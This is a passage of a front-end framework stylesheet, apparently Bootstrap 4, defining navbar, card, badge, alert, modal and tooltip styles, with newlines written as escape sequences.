none;\n  }\n}\n\n@media (max-width: 991.98px) {\n  .navbar-expand-lg > .container,\n  .navbar-expand-lg > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 992px) {\n  .navbar-expand-lg {\n    flex-flow: row nowrap;\n    justify-content: flex-start;\n  }\n  .navbar-expand-lg .navbar-nav {\n    flex-direction: row;\n  }\n  .navbar-expand-lg .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-lg .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-lg > .container,\n  .navbar-expand-lg > .container-fluid {\n    flex-wrap: nowrap;\n  }\n  .navbar-expand-lg .navbar-collapse {\n    display: flex !important;\n    flex-basis: auto;\n  }\n  .navbar-expand-lg .navbar-toggler {\n    display: none;\n  }\n}\n\n@media (max-width: 1199.98px) {\n  .navbar-expand-xl > .container,\n  .navbar-expand-xl > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 1200px) {\n  .navbar-expand-xl {\n    flex-flow: row nowrap;\n    justify-content: flex-start;\n  }\n  .navbar-expand-xl .navbar-nav {\n    flex-direction: row;\n  }\n  .navbar-expand-xl .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-xl .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-xl > .container,\n  .navbar-expand-xl > .container-fluid {\n    flex-wrap: nowrap;\n  }\n  .navbar-expand-xl .navbar-collapse {\n    display: flex !important;\n    flex-basis: auto;\n  }\n  .navbar-expand-xl .navbar-toggler {\n    display: none;\n  }\n}\n\n.navbar-expand {\n  flex-flow: row nowrap;\n  justify-content: flex-start;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.navbar-expand .navbar-nav {\n  flex-direction: row;\n}\n\n.navbar-expand .navbar-nav .dropdown-menu {\n  position: absolute;\n}\n\n.navbar-expand .navbar-nav .nav-link {\n  padding-right: 0.5rem;\n  padding-left: 0.5rem;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n  flex-wrap: nowrap;\n}\n\n.navbar-expand .navbar-collapse {\n  display: flex !important;\n  flex-basis: auto;\n}\n\n.navbar-expand .navbar-toggler {\n  display: none;\n}\n\n.navbar-light .navbar-brand {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-brand:hover, .navbar-light .navbar-brand:focus {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-nav .nav-link {\n  color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-nav .nav-link:hover, .navbar-light .navbar-nav .nav-link:focus {\n  color: rgba(0, 0, 0, 0.7);\n}\n\n.navbar-light .navbar-nav .nav-link.disabled {\n  color: rgba(0, 0, 0, 0.3);\n}\n\n.navbar-light .navbar-nav .show > .nav-link,\n.navbar-light .navbar-nav .active > .nav-link,\n.navbar-light .navbar-nav .nav-link.show,\n.navbar-light .navbar-nav .nav-link.active {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-toggler {\n  color: rgba(0, 0, 0, 0.5);\n  border-color: rgba(0, 0, 0, 0.1);\n}\n\n.navbar-light .navbar-toggler-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-light .navbar-text {\n  color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-text a {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-text a:hover, .navbar-light .navbar-text a:focus {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-dark .navbar-brand {\n  color: #fff;\n}\n\n.navbar-dark .navbar-brand:hover, .navbar-dark .navbar-brand:focus {\n  color: #fff;\n}\n\n.navbar-dark .navbar-nav .nav-link {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-nav .nav-link:hover, .navbar-dark .navbar-nav .nav-link:focus {\n  color: rgba(255, 255, 255, 0.75);\n}\n\n.navbar-dark .navbar-nav .nav-link.disabled {\n  color: rgba(255, 255, 255, 0.25);\n}\n\n.navbar-dark .navbar-nav .show > .nav-link,\n.navbar-dark .navbar-nav .active > .nav-link,\n.navbar-dark .navbar-nav .nav-link.show,\n.navbar-dark .navbar-nav .nav-link.active {\n  color: #fff;\n}\n\n.navbar-dark .navbar-toggler {\n  color: rgba(255, 255, 255, 0.5);\n  border-color: rgba(255, 255, 255, 0.1);\n}\n\n.navbar-dark .navbar-toggler-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-dark .navbar-text {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-text a {\n  color: #fff;\n}\n\n.navbar-dark .navbar-text a:hover, .navbar-dark .navbar-text a:focus {\n  color: #fff;\n}\n\n.card {\n  position: relative;\n  display: flex;\n  flex-direction: column;\n  min-width: 0;\n  word-wrap: break-word;\n  background-color: #fff;\n  background-clip: border-box;\n  border: 1px solid rgba(0, 0, 0, 0.125);\n  border-radius: 0.25rem;\n}\n\n.card > hr {\n  margin-right: 0;\n  margin-left: 0;\n}\n\n.card > .list-group:first-child .list-group-item:first-child {\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.card > .list-group:last-child .list-group-item:last-child {\n  border-bottom-right-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.card-body {\n  flex: 1 1 auto;\n  padding: 1.25rem;\n}\n\n.card-title {\n  margin-bottom: 0.75rem;\n}\n\n.card-subtitle {\n  margin-top: -0.375rem;\n  margin-bottom: 0;\n}\n\n.card-text:last-child {\n  margin-bottom: 0;\n}\n\n.card-link:hover {\n  text-decoration: none;\n}\n\n.card-link + .card-link {\n  margin-left: 1.25rem;\n}\n\n.card-header {\n  padding: 0.75rem 1.25rem;\n  margin-bottom: 0;\n  background-color: rgba(0, 0, 0, 0.03);\n  border-bottom: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-header:first-child {\n  border-radius: calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0;\n}\n\n.card-header + .list-group .list-group-item:first-child {\n  border-top: 0;\n}\n\n.card-footer {\n  padding: 0.75rem 1.25rem;\n  background-color: rgba(0, 0, 0, 0.03);\n  border-top: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-footer:last-child {\n  border-radius: 0 0 calc(0.25rem - 1px) calc(0.25rem - 1px);\n}\n\n.card-header-tabs {\n  margin-right: -0.625rem;\n  margin-bottom: -0.75rem;\n  margin-left: -0.625rem;\n  border-bottom: 0;\n}\n\n.card-header-pills {\n  margin-right: -0.625rem;\n  margin-left: -0.625rem;\n}\n\n.card-img-overlay {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  padding: 1.25rem;\n}\n\n.card-img {\n  width: 100%;\n  border-radius: calc(0.25rem - 1px);\n}\n\n.card-img-top {\n  width: 100%;\n  border-top-left-radius: calc(0.25rem - 1px);\n  border-top-right-radius: calc(0.25rem - 1px);\n}\n\n.card-img-bottom {\n  width: 100%;\n  border-bottom-right-radius: calc(0.25rem - 1px);\n  border-bottom-left-radius: calc(0.25rem - 1px);\n}\n\n.card-deck {\n  display: flex;\n  flex-direction: column;\n}\n\n.card-deck .card {\n  margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n  .card-deck {\n    flex-flow: row wrap;\n    margin-right: -15px;\n    margin-left: -15px;\n  }\n  .card-deck .card {\n    display: flex;\n    flex: 1 0 0%;\n    flex-direction: column;\n    margin-right: 15px;\n    margin-bottom: 0;\n    margin-left: 15px;\n  }\n}\n\n.card-group {\n  display: flex;\n  flex-direction: column;\n}\n\n.card-group > .card {\n  margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n  .card-group {\n    flex-flow: row wrap;\n  }\n  .card-group > .card {\n    flex: 1 0 0%;\n    margin-bottom: 0;\n  }\n  .card-group > .card + .card {\n    margin-left: 0;\n    border-left: 0;\n  }\n  .card-group > .card:first-child {\n    border-top-right-radius: 0;\n    border-bottom-right-radius: 0;\n  }\n  .card-group > .card:first-child .card-img-top,\n  .card-group > .card:first-child .card-header {\n    border-top-right-radius: 0;\n  }\n  .card-group > .card:first-child .card-img-bottom,\n  .card-group > .card:first-child .card-footer {\n    border-bottom-right-radius: 0;\n  }\n  .card-group > .card:last-child {\n    border-top-left-radius: 0;\n    border-bottom-left-radius: 0;\n  }\n  .card-group > .card:last-child .card-img-top,\n  .card-group > .card:last-child .card-header {\n    border-top-left-radius: 0;\n  }\n  .card-group > .card:last-child .card-img-bottom,\n  .card-group > .card:last-child .card-footer {\n    border-bottom-left-radius: 0;\n  }\n  .card-group > .card:only-child {\n    border-radius: 0.25rem;\n  }\n  .card-group > .card:only-child .card-img-top,\n  .card-group > .card:only-child .card-header {\n    border-top-left-radius: 0.25rem;\n    border-top-right-radius: 0.25rem;\n  }\n  .card-group > .card:only-child .card-img-bottom,\n  .card-group > .card:only-child .card-footer {\n    border-bottom-right-radius: 0.25rem;\n    border-bottom-left-radius: 0.25rem;\n  }\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) {\n    border-radius: 0;\n  }\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-header,\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-footer {\n    border-radius: 0;\n  }\n}\n\n.card-columns .card {\n  margin-bottom: 0.75rem;\n}\n\n@media (min-width: 576px) {\n  .card-columns {\n    column-count: 3;\n    column-gap: 1.25rem;\n    orphans: 1;\n    widows: 1;\n  }\n  .card-columns .card {\n    display: inline-block;\n    width: 100%;\n  }\n}\n\n.accordion .card:not(:first-of-type):not(:last-of-type) {\n  border-bottom: 0;\n  border-radius: 0;\n}\n\n.accordion .card:not(:first-of-type) .card-header:first-child {\n  border-radius: 0;\n}\n\n.accordion .card:first-of-type {\n  border-bottom: 0;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.accordion .card:last-of-type {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.breadcrumb {\n  display: flex;\n  flex-wrap: wrap;\n  padding: 0.75rem 1rem;\n  margin-bottom: 1rem;\n  list-style: none;\n  background-color: #e9ecef;\n  border-radius: 0.25rem;\n}\n\n.breadcrumb-item + .breadcrumb-item {\n  padding-left: 0.5rem;\n}\n\n.breadcrumb-item + .breadcrumb-item::before {\n  display: inline-block;\n  padding-right: 0.5rem;\n  color: #6c757d;\n  content: \"/\";\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n  text-decoration: underline;\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n  text-decoration: none;\n}\n\n.breadcrumb-item.active {\n  color: #6c757d;\n}\n\n.pagination {\n  display: flex;\n  padding-left: 0;\n  list-style: none;\n  border-radius: 0.25rem;\n}\n\n.page-link {\n  position: relative;\n  display: block;\n  padding: 0.5rem 0.75rem;\n  margin-left: -1px;\n  line-height: 1.25;\n  color: #007bff;\n  background-color: #fff;\n  border: 1px solid #dee2e6;\n}\n\n.page-link:hover {\n  z-index: 2;\n  color: #0056b3;\n  text-decoration: none;\n  background-color: #e9ecef;\n  border-color: #dee2e6;\n}\n\n.page-link:focus {\n  z-index: 2;\n  outline: 0;\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.page-link:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\n.page-item:first-child .page-link {\n  margin-left: 0;\n  border-top-left-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.page-item:last-child .page-link {\n  border-top-right-radius: 0.25rem;\n  border-bottom-right-radius: 0.25rem;\n}\n\n.page-item.active .page-link {\n  z-index: 1;\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.page-item.disabled .page-link {\n  color: #6c757d;\n  pointer-events: none;\n  cursor: auto;\n  background-color: #fff;\n  border-color: #dee2e6;\n}\n\n.pagination-lg .page-link {\n  padding: 0.75rem 1.5rem;\n  font-size: 1.25rem;\n  line-height: 1.5;\n}\n\n.pagination-lg .page-item:first-child .page-link {\n  border-top-left-radius: 0.3rem;\n  border-bottom-left-radius: 0.3rem;\n}\n\n.pagination-lg .page-item:last-child .page-link {\n  border-top-right-radius: 0.3rem;\n  border-bottom-right-radius: 0.3rem;\n}\n\n.pagination-sm .page-link {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n}\n\n.pagination-sm .page-item:first-child .page-link {\n  border-top-left-radius: 0.2rem;\n  border-bottom-left-radius: 0.2rem;\n}\n\n.pagination-sm .page-item:last-child .page-link {\n  border-top-right-radius: 0.2rem;\n  border-bottom-right-radius: 0.2rem;\n}\n\n.badge {\n  display: inline-block;\n  padding: 0.25em 0.4em;\n  font-size: 75%;\n  font-weight: 700;\n  line-height: 1;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  border-radius: 0.25rem;\n}\n\n.badge:empty {\n  display: none;\n}\n\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n\n.badge-pill {\n  padding-right: 0.6em;\n  padding-left: 0.6em;\n  border-radius: 10rem;\n}\n\n.badge-primary {\n  color: #fff;\n  background-color: #007bff;\n}\n\n.badge-primary[href]:hover, .badge-primary[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #0062cc;\n}\n\n.badge-secondary {\n  color: #fff;\n  background-color: #6c757d;\n}\n\n.badge-secondary[href]:hover, .badge-secondary[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #545b62;\n}\n\n.badge-success {\n  color: #fff;\n  background-color: #28a745;\n}\n\n.badge-success[href]:hover, .badge-success[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #1e7e34;\n}\n\n.badge-info {\n  color: #fff;\n  background-color: #17a2b8;\n}\n\n.badge-info[href]:hover, .badge-info[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #117a8b;\n}\n\n.badge-warning {\n  color: #212529;\n  background-color: #ffc107;\n}\n\n.badge-warning[href]:hover, .badge-warning[href]:focus {\n  color: #212529;\n  text-decoration: none;\n  background-color: #d39e00;\n}\n\n.badge-danger {\n  color: #fff;\n  background-color: #dc3545;\n}\n\n.badge-danger[href]:hover, .badge-danger[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #bd2130;\n}\n\n.badge-light {\n  color: #212529;\n  background-color: #f8f9fa;\n}\n\n.badge-light[href]:hover, .badge-light[href]:focus {\n  color: #212529;\n  text-decoration: none;\n  background-color: #dae0e5;\n}\n\n.badge-dark {\n  color: #fff;\n  background-color: #343a40;\n}\n\n.badge-dark[href]:hover, .badge-dark[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #1d2124;\n}\n\n.jumbotron {\n  padding: 2rem 1rem;\n  margin-bottom: 2rem;\n  background-color: #e9ecef;\n  border-radius: 0.3rem;\n}\n\n@media (min-width: 576px) {\n  .jumbotron {\n    padding: 4rem 2rem;\n  }\n}\n\n.jumbotron-fluid {\n  padding-right: 0;\n  padding-left: 0;\n  border-radius: 0;\n}\n\n.alert {\n  position: relative;\n  padding: 0.75rem 1.25rem;\n  margin-bottom: 1rem;\n  border: 1px solid transparent;\n  border-radius: 0.25rem;\n}\n\n.alert-heading {\n  color: inherit;\n}\n\n.alert-link {\n  font-weight: 700;\n}\n\n.alert-dismissible {\n  padding-right: 4rem;\n}\n\n.alert-dismissible .close {\n  position: absolute;\n  top: 0;\n  right: 0;\n  padding: 0.75rem 1.25rem;\n  color: inherit;\n}\n\n.alert-primary {\n  color: #004085;\n  background-color: #cce5ff;\n  border-color: #b8daff;\n}\n\n.alert-primary hr {\n  border-top-color: #9fcdff;\n}\n\n.alert-primary .alert-link {\n  color: #002752;\n}\n\n.alert-secondary {\n  color: #383d41;\n  background-color: #e2e3e5;\n  border-color: #d6d8db;\n}\n\n.alert-secondary hr {\n  border-top-color: #c8cbcf;\n}\n\n.alert-secondary .alert-link {\n  color: #202326;\n}\n\n.alert-success {\n  color: #155724;\n  background-color: #d4edda;\n  border-color: #c3e6cb;\n}\n\n.alert-success hr {\n  border-top-color: #b1dfbb;\n}\n\n.alert-success .alert-link {\n  color: #0b2e13;\n}\n\n.alert-info {\n  color: #0c5460;\n  background-color: #d1ecf1;\n  border-color: #bee5eb;\n}\n\n.alert-info hr {\n  border-top-color: #abdde5;\n}\n\n.alert-info .alert-link {\n  color: #062c33;\n}\n\n.alert-warning {\n  color: #856404;\n  background-color: #fff3cd;\n  border-color: #ffeeba;\n}\n\n.alert-warning hr {\n  border-top-color: #ffe8a1;\n}\n\n.alert-warning .alert-link {\n  color: #533f03;\n}\n\n.alert-danger {\n  color: #721c24;\n  background-color: #f8d7da;\n  border-color: #f5c6cb;\n}\n\n.alert-danger hr {\n  border-top-color: #f1b0b7;\n}\n\n.alert-danger .alert-link {\n  color: #491217;\n}\n\n.alert-light {\n  color: #818182;\n  background-color: #fefefe;\n  border-color: #fdfdfe;\n}\n\n.alert-light hr {\n  border-top-color: #ececf6;\n}\n\n.alert-light .alert-link {\n  color: #686868;\n}\n\n.alert-dark {\n  color: #1b1e21;\n  background-color: #d6d8d9;\n  border-color: #c6c8ca;\n}\n\n.alert-dark hr {\n  border-top-color: #b9bbbe;\n}\n\n.alert-dark .alert-link {\n  color: #040505;\n}\n\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 1rem 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n.progress {\n  display: flex;\n  height: 1rem;\n  overflow: hidden;\n  font-size: 0.75rem;\n  background-color: #e9ecef;\n  border-radius: 0.25rem;\n}\n\n.progress-bar {\n  display: flex;\n  flex-direction: column;\n  justify-content: center;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  background-color: #007bff;\n  transition: width 0.6s ease;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .progress-bar {\n    transition: none;\n  }\n}\n\n.progress-bar-striped {\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-size: 1rem 1rem;\n}\n\n.progress-bar-animated {\n  animation: progress-bar-stripes 1s linear infinite;\n}\n\n.media {\n  display: flex;\n  align-items: flex-start;\n}\n\n.media-body {\n  flex: 1;\n}\n\n.list-group {\n  display: flex;\n  flex-direction: column;\n  padding-left: 0;\n  margin-bottom: 0;\n}\n\n.list-group-item-action {\n  width: 100%;\n  color: #495057;\n  text-align: inherit;\n}\n\n.list-group-item-action:hover, .list-group-item-action:focus {\n  color: #495057;\n  text-decoration: none;\n  background-color: #f8f9fa;\n}\n\n.list-group-item-action:active {\n  color: #212529;\n  background-color: #e9ecef;\n}\n\n.list-group-item {\n  position: relative;\n  display: block;\n  padding: 0.75rem 1.25rem;\n  margin-bottom: -1px;\n  background-color: #fff;\n  border: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.list-group-item:first-child {\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.list-group-item:last-child {\n  margin-bottom: 0;\n  border-bottom-right-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.list-group-item:hover, .list-group-item:focus {\n  z-index: 1;\n  text-decoration: none;\n}\n\n.list-group-item.disabled, .list-group-item:disabled {\n  color: #6c757d;\n  background-color: #fff;\n}\n\n.list-group-item.active {\n  z-index: 2;\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.list-group-flush .list-group-item {\n  border-right: 0;\n  border-left: 0;\n  border-radius: 0;\n}\n\n.list-group-flush:first-child .list-group-item:first-child {\n  border-top: 0;\n}\n\n.list-group-flush:last-child .list-group-item:last-child {\n  border-bottom: 0;\n}\n\n.list-group-item-primary {\n  color: #004085;\n  background-color: #b8daff;\n}\n\n.list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus {\n  color: #004085;\n  background-color: #9fcdff;\n}\n\n.list-group-item-primary.list-group-item-action.active {\n  color: #fff;\n  background-color: #004085;\n  border-color: #004085;\n}\n\n.list-group-item-secondary {\n  color: #383d41;\n  background-color: #d6d8db;\n}\n\n.list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus {\n  color: #383d41;\n  background-color: #c8cbcf;\n}\n\n.list-group-item-secondary.list-group-item-action.active {\n  color: #fff;\n  background-color: #383d41;\n  border-color: #383d41;\n}\n\n.list-group-item-success {\n  color: #155724;\n  background-color: #c3e6cb;\n}\n\n.list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus {\n  color: #155724;\n  background-color: #b1dfbb;\n}\n\n.list-group-item-success.list-group-item-action.active {\n  color: #fff;\n  background-color: #155724;\n  border-color: #155724;\n}\n\n.list-group-item-info {\n  color: #0c5460;\n  background-color: #bee5eb;\n}\n\n.list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus {\n  color: #0c5460;\n  background-color: #abdde5;\n}\n\n.list-group-item-info.list-group-item-action.active {\n  color: #fff;\n  background-color: #0c5460;\n  border-color: #0c5460;\n}\n\n.list-group-item-warning {\n  color: #856404;\n  background-color: #ffeeba;\n}\n\n.list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus {\n  color: #856404;\n  background-color: #ffe8a1;\n}\n\n.list-group-item-warning.list-group-item-action.active {\n  color: #fff;\n  background-color: #856404;\n  border-color: #856404;\n}\n\n.list-group-item-danger {\n  color: #721c24;\n  background-color: #f5c6cb;\n}\n\n.list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus {\n  color: #721c24;\n  background-color: #f1b0b7;\n}\n\n.list-group-item-danger.list-group-item-action.active {\n  color: #fff;\n  background-color: #721c24;\n  border-color: #721c24;\n}\n\n.list-group-item-light {\n  color: #818182;\n  background-color: #fdfdfe;\n}\n\n.list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus {\n  color: #818182;\n  background-color: #ececf6;\n}\n\n.list-group-item-light.list-group-item-action.active {\n  color: #fff;\n  background-color: #818182;\n  border-color: #818182;\n}\n\n.list-group-item-dark {\n  color: #1b1e21;\n  background-color: #c6c8ca;\n}\n\n.list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus {\n  color: #1b1e21;\n  background-color: #b9bbbe;\n}\n\n.list-group-item-dark.list-group-item-action.active {\n  color: #fff;\n  background-color: #1b1e21;\n  border-color: #1b1e21;\n}\n\n.close {\n  float: right;\n  font-size: 1.5rem;\n  font-weight: 700;\n  line-height: 1;\n  color: #000;\n  text-shadow: 0 1px 0 #fff;\n  opacity: .5;\n}\n\n.close:hover, .close:focus {\n  color: #000;\n  text-decoration: none;\n  opacity: .75;\n}\n\n.close:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\nbutton.close {\n  padding: 0;\n  background-color: transparent;\n  border: 0;\n  -webkit-appearance: none;\n}\n\n.modal-open {\n  overflow: hidden;\n}\n\n.modal {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1050;\n  display: none;\n  overflow: hidden;\n  outline: 0;\n}\n\n.modal-open .modal {\n  overflow-x: hidden;\n  overflow-y: auto;\n}\n\n.modal-dialog {\n  position: relative;\n  width: auto;\n  margin: 0.5rem;\n  pointer-events: none;\n}\n\n.modal.fade .modal-dialog {\n  transition: transform 0.3s ease-out;\n  transform: translate(0, -25%);\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .modal.fade .modal-dialog {\n    transition: none;\n  }\n}\n\n.modal.show .modal-dialog {\n  transform: translate(0, 0);\n}\n\n.modal-dialog-centered {\n  display: flex;\n  align-items: center;\n  min-height: calc(100% - (0.5rem * 2));\n}\n\n.modal-content {\n  position: relative;\n  display: flex;\n  flex-direction: column;\n  width: 100%;\n  pointer-events: auto;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  border-radius: 0.3rem;\n  outline: 0;\n}\n\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000;\n}\n\n.modal-backdrop.fade {\n  opacity: 0;\n}\n\n.modal-backdrop.show {\n  opacity: 0.5;\n}\n\n.modal-header {\n  display: flex;\n  align-items: flex-start;\n  justify-content: space-between;\n  padding: 1rem;\n  border-bottom: 1px solid #e9ecef;\n  border-top-left-radius: 0.3rem;\n  border-top-right-radius: 0.3rem;\n}\n\n.modal-header .close {\n  padding: 1rem;\n  margin: -1rem -1rem -1rem auto;\n}\n\n.modal-title {\n  margin-bottom: 0;\n  line-height: 1.5;\n}\n\n.modal-body {\n  position: relative;\n  flex: 1 1 auto;\n  padding: 1rem;\n}\n\n.modal-footer {\n  display: flex;\n  align-items: center;\n  justify-content: flex-end;\n  padding: 1rem;\n  border-top: 1px solid #e9ecef;\n}\n\n.modal-footer > :not(:first-child) {\n  margin-left: .25rem;\n}\n\n.modal-footer > :not(:last-child) {\n  margin-right: .25rem;\n}\n\n.modal-scrollbar-measure {\n  position: absolute;\n  top: -9999px;\n  width: 50px;\n  height: 50px;\n  overflow: scroll;\n}\n\n@media (min-width: 576px) {\n  .modal-dialog {\n    max-width: 500px;\n    margin: 1.75rem auto;\n  }\n  .modal-dialog-centered {\n    min-height: calc(100% - (1.75rem * 2));\n  }\n  .modal-sm {\n    max-width: 300px;\n  }\n}\n\n@media (min-width: 992px) {\n  .modal-lg {\n    max-width: 800px;\n  }\n}\n\n.tooltip {\n  position: absolute;\n  z-index: 1070;\n  display: block;\n  margin: 0;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  font-style: normal;\n  font-weight: 400;\n  line-height: 1.5;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  white-space: normal;\n  line-break: auto;\n  font-size: 0.875rem;\n  word-wrap: break-word;\n  opacity: 0;\n}\n\n.tooltip.show {\n  opacity: 0.9;\n}\n\n.tooltip .arrow {\n  position: absolute;\n  display: block;\n  width: 0.8rem;\n  height: 0.4rem;\n}\n\n.tooltip .arrow::before {\n  position: absolute;\n  content: \"\";\n  border-color: transparent;\n  border-style: solid;\n}\n\n.bs-tooltip-top, .bs-tooltip-auto[x-placement^=\"top\"] {\n  padding: 0.4rem 0;\n}\n\n.bs-tooltip-top .arrow, .bs-tooltip-auto[x-placement^=\"top\"] .arrow {\n  bottom: 0;\n}\n\n.bs-tooltip-top .arrow::before, .bs-tooltip-auto[x-placement^=\"top\"] .arrow::before {\n  top: 0;\n  border-width: 0.4rem 0.4rem 0;\n  border-top-color: #000;\n}\n\n.bs-tooltip-right, .bs-tooltip-auto[x-placement^=\"right\"] {\n  padding: 0 0.4rem;\n}\n\n.bs-tooltip-right .arrow, .bs-tooltip-auto[x-placement^=\"right\"] .arrow {\n  left: 0;\n  width: 0.4rem;\n  height: 0.8rem;\n}\n\n.bs-tooltip-right .arrow::before, .bs-tooltip-auto[x-placement^=\"right\"] .arrow::before {\n  right: 0;\n  border-width: 0.4rem 0.4rem 0.4rem 0;\n  border-right-color: #000;\n}\n\n.bs-tooltip-bottom, .bs-tooltip-auto[x-placement^=\"bottom\"] {\n  padding: 0.4rem 0;\n}\n\n.bs-tooltip-bottom .arrow, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow {\n  top: 0;\n}\n\n.bs-tooltip-bottom .arrow::before, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow::before {\n  bottom: 0;\n  border-width: 0 0.4rem 0.4rem;\n  border-bottom-color: #000;\n}\n\n.bs-tooltip-left, .bs-tooltip-auto[x-placement^=\"left\"] {\n  padding: 0 0.4rem;\n}\n\n.bs-tooltip-left .arrow, .bs-tooltip-auto[x-placement^=\"left\"] .arrow {\n  right: 0;\n  width: 0.4rem;\n  height: 0.8rem;\n}\n\n.bs-tooltip-left .arrow::before, .bs-tooltip-auto[x-placement^=\"left\"] .arrow::before {\n  left: 0;\n  border-width: 0.4rem 0 0.4rem 0.4rem;\n  border-left-color: #000;\n}\n\n.tooltip-inner {\n  max-width: 200px;\n  padding: 0.25rem 0.5rem;\n  color: #fff;\n  text-align: center;\n  background-color: #000;\n  border-radius: 0.25rem;\n}\n\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1060;\n  display: block;\n  max-width: 276px;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", 